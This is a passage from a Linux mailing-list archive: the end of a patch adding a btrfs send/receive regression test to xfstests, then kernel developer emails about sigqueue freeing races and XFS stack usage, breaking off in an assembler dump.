offset. +# +# Fixed by the following linux kernel btrfs patch: +# +# Btrfs: use right clone root offset for compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount "-o compress-force=lzo" + +run_check $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo +run_check $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ + $SCRATCH_MNT/foo + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 + +run_check $XFS_IO_PROG -c "pwrite -S 0x3e -b 80000 200000 80000" \ + $SCRATCH_MNT/foo +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT +run_check $XFS_IO_PROG -c "pwrite -S 0xdc -b 10000 250000 10000" \ + $SCRATCH_MNT/foo +run_check $XFS_IO_PROG -c "pwrite -S 0xff -b 10000 300000 10000" \ + $SCRATCH_MNT/foo + +# will be used for incremental send to be able to issue clone operations +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/clones_snap + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + -x $SCRATCH_MNT/mysnap2/clones_snap $SCRATCH_MNT/mysnap2 +run_check $FSSUM_PROG -A -f -w $tmp/clones.fssum $SCRATCH_MNT/clones_snap \ + -x $SCRATCH_MNT/clones_snap/mysnap1 -x $SCRATCH_MNT/clones_snap/mysnap2 + +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/clones_snap -f $tmp/clones.snap +run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 \ + -c $SCRATCH_MNT/clones_snap $SCRATCH_MNT/mysnap2 -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/clones.snap +run_check $FSSUM_PROG -r $tmp/clones.fssum $SCRATCH_MNT/clones_snap 2>> $seqres.full + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/040.out b/tests/btrfs/040.out new file mode 100644 index 0000000..7740549 --- /dev/null +++ b/tests/btrfs/040.out @@ -0,0 +1 @@ +QA output created by 040 diff --git a/tests/btrfs/group b/tests/btrfs/group index 2ca2225..a687634 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -38,3 +38,4 @@ 033 auto quick 034 auto quick 036 auto quick +040 auto quick -- 1.7.9.5 From viro@ftp.linux.org.uk Sat Feb 15 09:58:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 721CA7F53 for ; Sat, 15 Feb 2014 09:58:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6CAFA8F80FF for ; Sat, 15 Feb 2014 07:58:50 -0800 (PST) X-ASG-Debug-ID: 1392479924-04cbb00c2b42dd80001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id F6Tz1CKqiDUSqVFp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 15 Feb 2014 07:58:45 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WEhdW-0000JJ-QS; Sat, 15 Feb 2014 15:58:38 +0000 Date: Sat, 15 Feb 2014 15:58:38 +0000 From: Al Viro To: Oleg Nesterov Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215155838.GA18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215153631.GZ18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392479925 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145145 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 15, 2014 at 03:36:31PM +0000, Al Viro wrote: > On Sat, Feb 15, 2014 at 03:22:51PM +0000, Al Viro wrote: > > On Sat, Feb 15, 2014 at 03:27:00PM +0100, Oleg Nesterov wrote: > > > > > 1. info->q can be already freed if SIGQUEUE_PREALLOC. > > > > > > Once get_signal_to_deliver() or any other caller drops ->siglock > > > another thread can do sys_timer_delete()->sigqueue_free(). > > > > How the devil would it find the sucker? It's off the list already. > > Ouch... I think I see what you mean. Let me see if I got it right: > timer->sigq is *not* freed by collect_signal(); it's done by > release_posix_timer() instead, under siglock. Frankly, this > /* > * If it is queued it will be freed when dequeued, > * like the "regular" sigqueue. > */ > if (!list_empty(&q->list)) > q = NULL; > in sigqueue_free() smells like it's asking for races. Sigh... So basically we want a different condition for "can we just go ahead and free that sucker", right? Instead of "it's on the list, shan't free it" it ought to be something like "it's on the list or it is referenced by ksiginfo". Locking will be interesting, though... ;-/ BTW, I really wonder how does that stuff interact with PTRACE_SETSIGINFO. What happens if tracer does PTRACE_GETSIGINFO, changes ->si_signo to something blocked, shoves it back with PTRACE_SETSIGINFO and does PTRACE_CONT with that new signal number? Would we get two sigqueue instances with the same ->si_tid, one of them matching the timer->sigq and another - not? From viro@ftp.linux.org.uk Sat Feb 15 11:00:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3D1957F55 for ; Sat, 15 Feb 2014 11:00:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 338DB8F812E for ; Sat, 15 Feb 2014 09:00:10 -0800 (PST) X-ASG-Debug-ID: 1392483597-04cbb00c29431d40001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id j3ClwCb6tscvAEft (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 15 Feb 2014 08:59:58 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WEial-0000hR-Kz; Sat, 15 Feb 2014 16:59:51 +0000 Date: Sat, 15 Feb 2014 16:59:51 +0000 From: Al Viro To: Oleg Nesterov Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215165951.GB18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> <20140215155838.GA18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215155838.GA18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392483597 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145147 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 15, 2014 at 03:58:38PM +0000, Al Viro wrote: > BTW, I really wonder how does that stuff interact with PTRACE_SETSIGINFO. > What happens if tracer does PTRACE_GETSIGINFO, changes ->si_signo to > something blocked, shoves it back with PTRACE_SETSIGINFO and does > PTRACE_CONT with that new signal number? Would we get two sigqueue instances > with the same ->si_tid, one of them matching the timer->sigq and another > - not? I wonder if it would be simpler to use the pointer *only* for si_code < 0 case. It still gives us ksiginfo_t much smaller than siginfo_t, avoids all the mess with timers and AFAICS results in less intrusive patch. IOW, the split between "we know what that sucker is" and "completely opaque shit the userland has given us". I'll try to put together something along those lines and see how well does that work... From oleg@redhat.com Sat Feb 15 11:44:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7837529DF8 for ; Sat, 15 Feb 2014 11:44:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 775DC8F8131 for ; Sat, 15 Feb 2014 09:44:16 -0800 (PST) X-ASG-Debug-ID: 1392486231-04cb6c06cf11dd20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 81qWAFSUVFbGiv6J for ; Sat, 15 Feb 2014 09:43:54 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1FHhm7o017161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 15 Feb 2014 12:43:48 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s1FHhfEn015103; Sat, 15 Feb 2014 12:43:42 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Sat, 15 Feb 2014 18:43:48 +0100 (CET) Date: Sat, 15 Feb 2014 18:43:45 +0100 From: Oleg Nesterov To: Al Viro Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215174345.GA24799@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> <20140215155838.GA18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215155838.GA18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392486234 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/15, Al Viro wrote: > > > Ouch... I think I see what you mean. Let me see if I got it right: > > timer->sigq is *not* freed by collect_signal(); it's done by > > release_posix_timer() instead, under siglock. Frankly, this > > /* > > * If it is queued it will be freed when dequeued, > > * like the "regular" sigqueue. > > */ > > if (!list_empty(&q->list)) > > q = NULL; > > in sigqueue_free() smells like it's asking for races. Sigh... This is protected by ->siglock, should be safe... > So basically we want a different condition for "can we just go ahead and > free that sucker", right? Instead of "it's on the list, shan't free it" > it ought to be something like "it's on the list or it is referenced by > ksiginfo". Locking will be interesting, though... ;-/ I guess yes... send_sigqueue() checks list_empty() too, probably nobody else. > BTW, I really wonder how does that stuff interact with PTRACE_SETSIGINFO. > What happens if tracer does PTRACE_GETSIGINFO, changes ->si_signo to > something blocked, shoves it back with PTRACE_SETSIGINFO and does > PTRACE_CONT with that new signal number? Would we get two sigqueue instances > with the same ->si_tid, one of them matching the timer->sigq and another > - not? Or the task sends a SI_TIMER info to itself via sys_rt_sigqueueinfo(). Afaics, nothing really bad can happen, I mean the kernel should not crash or something like this. do_schedule_next_timer() can be fooled, but at least lock_timer() can only succeed if this process actually has a timer with the same timer_id. This sigqueue != timer->sigq, but I think this doesn't matter, posix_timer_event() will use timer->sigq anyway. Oleg. From viro@ftp.linux.org.uk Sat Feb 15 12:18:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6A01729DF8 for ; Sat, 15 Feb 2014 12:18:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6009D8F8087 for ; Sat, 15 Feb 2014 10:18:48 -0800 (PST) X-ASG-Debug-ID: 1392487526-04cbb00c28436180001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id a3AOM3Rs0DKMd2DL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 15 Feb 2014 10:05:28 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WEjc8-00019y-Pa; Sat, 15 Feb 2014 18:05:20 +0000 Date: Sat, 15 Feb 2014 18:05:20 +0000 From: Al Viro To: Oleg Nesterov Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215180520.GC18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> <20140215155838.GA18016@ZenIV.linux.org.uk> <20140215174345.GA24799@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215174345.GA24799@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392487528 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145148 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 15, 2014 at 06:43:45PM +0100, Oleg Nesterov wrote: > > So basically we want a different condition for "can we just go ahead and > > free that sucker", right? Instead of "it's on the list, shan't free it" > > it ought to be something like "it's on the list or it is referenced by > > ksiginfo". Locking will be interesting, though... ;-/ > > I guess yes... send_sigqueue() checks list_empty() too, probably nobody else. The trouble being, we might end up with Q picked by collect_signal and and stuff into ksiginfo Q resubmitted by timer code Q picked by *another* thread into its ksiginfo the first thread finally done with signal and at that point we still have a reference in the second thread's ksiginfo. Hell knows - my first reflex in that kind of situation is to replace that flag with refcount, so that timer code would hold a reference from timer_create(2) to timer_delete(2), send_sigqueue() would bump it and dismiss_siginfo() - drop the sucker. But that means either grabbing siglock in dismiss_siginfo() or making the counter atomic; either way it's a cacheline ping-pong. Atomic counter is less painful in that respect - it would be right next to the list, so we dirty that cacheline anyway... I'm still trying another approach (slightly bigger ksiginfo used to store all variants with si_code >= 0), but it has messiness of its own; we'll see how it goes... From oleg@redhat.com Sat Feb 15 12:45:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3401F29DF8 for ; Sat, 15 Feb 2014 12:45:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1CDD48F8133 for ; Sat, 15 Feb 2014 10:45:37 -0800 (PST) X-ASG-Debug-ID: 1392489932-04bdf00fc902f20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id alGtvqYCUGQiiruE for ; Sat, 15 Feb 2014 10:45:33 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1FIjUDp009332 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 15 Feb 2014 13:45:30 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id s1FIjSdg008231; Sat, 15 Feb 2014 13:45:28 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Sat, 15 Feb 2014 19:45:34 +0100 (CET) Date: Sat, 15 Feb 2014 19:45:31 +0100 From: Oleg Nesterov To: Al Viro Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215184531.GA27314@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> <20140215155838.GA18016@ZenIV.linux.org.uk> <20140215174345.GA24799@redhat.com> <20140215180520.GC18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215180520.GC18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392489933 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/15, Al Viro wrote: > > On Sat, Feb 15, 2014 at 06:43:45PM +0100, Oleg Nesterov wrote: > > > So basically we want a different condition for "can we just go ahead and > > > free that sucker", right? Instead of "it's on the list, shan't free it" > > > it ought to be something like "it's on the list or it is referenced by > > > ksiginfo". Locking will be interesting, though... ;-/ > > > > I guess yes... send_sigqueue() checks list_empty() too, probably nobody else. > > The trouble being, we might end up with > Q picked by collect_signal and and stuff into ksiginfo > Q resubmitted by timer code In this case the timer code should simply inc ->si_overrun and do nothing. IOW, list_empty() should be turned into is_queued(), and is_queued() should be true until dismiss_siginfo() which should also do do_schedule_next_timer(). I think. Oleg. From david@fromorbit.com Sat Feb 15 16:24:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6C12B29DF8 for ; Sat, 15 Feb 2014 16:24:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5A139304043 for ; Sat, 15 Feb 2014 14:24:06 -0800 (PST) X-ASG-Debug-ID: 1392503043-04cbb00c2b445920001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id vrRvJ2P0VTX2CXGJ for ; Sat, 15 Feb 2014 14:24:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As8IAOjn/1J5LJYe/2dsb2JhbABZgwa6eoVQgQ4XdIIlAQEFGAUdHDMIAxgJJQ8FJQMhARKIBMk2FxaOcoQ4BJgrilCHVINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 16 Feb 2014 08:54:01 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WEneO-0001c8-VT; Sun, 16 Feb 2014 09:23:56 +1100 Date: Sun, 16 Feb 2014 09:23:56 +1100 From: Dave Chinner To: Dave Jones , Linus Torvalds , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215222356.GU13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212071829.GE13997@dastard> <20140214002427.GN13997@dastard> <20140214160123.GA28125@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140214160123.GA28125@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392503043 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145154 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Fri, Feb 14, 2014 at 11:01:23AM -0500, Dave Jones wrote: > On Fri, Feb 14, 2014 at 11:24:27AM +1100, Dave Chinner wrote: > > > > I can fix this one easily - we already have a workqueue for doing > > > async log pushes (will split the stack between xlog_cil_force_lsn > > > and xlog_cil_push), but the reason we haven't used it for synchronous > > > log forces is that screws up fsync performance on CFQ. We don't > > > recommend CFQ with XFS anyway, so I think I'll make this change > > > anyway. > > > > Dave, the patch below should chop off the stack usage from > > xfs_log_force_lsn() issuing IO by deferring it to the CIL workqueue. > > Can you given this a run? > > Looks like it's survived an overnight run.. Great. One thing that has been puzzling me is why I'm seeing stack usage reported that is way above what we declare locally on the stack. e.g. 29) 2048 224 xfs_da_grow_inode_int+0xbb/0x340 30) 1824 96 xfs_dir2_grow_inode+0x63/0x110 31) 1728 208 xfs_dir2_sf_to_block+0xe7/0x5e0 32) 1520 144 xfs_dir2_sf_addname+0x115/0x5c0 33) 1376 96 xfs_dir_createname+0x164/0x1a0 34) 1280 224 xfs_create+0x536/0x660 35) 1056 128 xfs_vn_mknod+0xc8/0x1d0 I pulled 128 bytes out of xfs_dir_createname by allocating the xfs_da_args structure, but I still couldn't reconcile the amount of stack use being reported with the amount used by locally declared variables (even considering in-lined leaf functions). For example: Locally Declared Used function 88 224 xfs_da_grow_inode_int 32 96 xfs_dir2_grow_inode 168 208 xfs_dir2_sf_to_block 56 144 xfs_dir2_sf_addname 16 96 xfs_dir_createname 120 224 xfs_create 52 128 xfs_vn_mknod There's a pretty massive difference between the actual stack usage of the local variables and the amount of stack being used by the compiled code. What it appears to be is that the compiler is pushing 6-10 registers to the stack on every function call. So a function that only has 3 local variables and does very little but allocate a structure and call other functions saves an 6 registers to the stack before it starts: Dump of assembler code for function xfs_dir_createname: 214 { 0xffffffff814d7380 <+0>: callq 0xffffffff81cf0940 0xffffffff814d7385 <+5>: push %rbp 0xffffffff814d7386 <+6>: mov %rsp,%rbp 0xffffffff814d7389 <+9>: sub $0x50,%rsp 0xffffffff814d738d <+13>: mov %rbx,-0x28(%rbp) 0xffffffff814d7391 <+17>: mov %rdi,%rbx 